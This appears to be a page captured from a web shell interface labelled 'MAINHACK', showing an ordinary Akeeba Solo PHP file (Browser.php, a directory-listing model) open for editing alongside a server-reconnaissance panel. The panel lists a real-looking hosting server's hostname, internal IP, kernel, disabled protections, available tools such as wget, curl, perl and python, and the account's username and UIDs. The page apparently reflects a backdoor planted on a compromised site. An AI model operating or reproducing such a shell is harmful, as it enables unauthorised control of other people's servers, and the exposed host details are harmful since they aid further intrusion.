[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Browser.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Model; use Akeeba\Engine\Factory; use Akeeba\Engine\Platform; use Awf\Mvc\Model; class Browser extends Model { /** * Make a directory listing and push all relevant information back into the model state * * @return void */ function makeListing() { // Get the folder to browse $folder = $this->getState('folder', ''); $processFolder = $this->getState('processfolder', 0); $siteRoot = Factory::getFilesystemTools()->TranslateWinPath(APATH_BASE); if (empty($folder)) { $folder = $siteRoot; } $stock_dirs = Platform::getInstance()->get_stock_directories(); arsort($stock_dirs); if ($processFolder == 1) { foreach ($stock_dirs as $find => $replace) { $folder = str_replace($find, $replace, $folder); } } // Normalise name, but only if realpath() really, REALLY works... $folder = Factory::getFilesystemTools()->TranslateWinPath($folder); $old_folder = $folder; $folder = @realpath($folder); if ($folder === false) { $folder = $old_folder; } if (@is_dir($folder)) { $isFolderThere = true; } else { $isFolderThere = false; } // Check if it's a subdirectory of the site's root $isInRoot = (strpos($folder, $siteRoot) === 0); // Check open_basedir restrictions $isOpenbasedirRestricted = Factory::getConfigurationChecks()->checkOpenBasedirs($folder); // -- Get the meta form of the directory name, if applicable $folder_raw = $folder; foreach ($stock_dirs as $replace => $find) { $folder_raw = str_replace($find, $replace, $folder_raw); } // Writable check and contents listing if it's in site root and not restricted if ($isFolderThere && !$isOpenbasedirRestricted) { // Get writability status $isWritable = is_writable($folder); // Get contained folders $subFolders = array(); try { $di = new \DirectoryIterator($folder); /** @var \DirectoryIterator $item */ foreach ($di as $item) { if ($item->isDot()) { continue; } if (!$item->isDir()) { continue; } $subFolders[] = $item->getFilename(); } } catch (\UnexpectedValueException $e) { $isWritable = false; } } else { if ($isFolderThere && !$isOpenbasedirRestricted) { $isWritable = is_writable($folder); } else { $isWritable = false; } $subFolders = array(); } // Get parent directory $breadcrumbs = array(); $pathParts = explode('/', $folder); if (is_array($pathParts)) { $path = ''; foreach ($pathParts as $part) { $path .= empty($path) ? $part : '/' . $part; if (empty($part)) { if (DIRECTORY_SEPARATOR != '\\') { $path = '/'; } $part = '/'; } $crumb['label'] = $part; $crumb['folder'] = $path; $breadcrumbs[] = $crumb; } $junk = array_pop($pathParts); $parent = implode('/', $pathParts); } else { // Can't identify parent dir, use ourselves. $parent = $folder; $breadcrumbs = array(); } $this->setState('folder', $folder); $this->setState('folder_raw', $folder_raw); $this->setState('parent', $parent); $this->setState('exists', $isFolderThere); $this->setState('inRoot', $isInRoot); $this->setState('openbasedirRestricted', $isOpenbasedirRestricted); $this->setState('writable', $isWritable); $this->setState('subfolders', $subFolders); $this->setState('breadcrumbs', $breadcrumbs); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697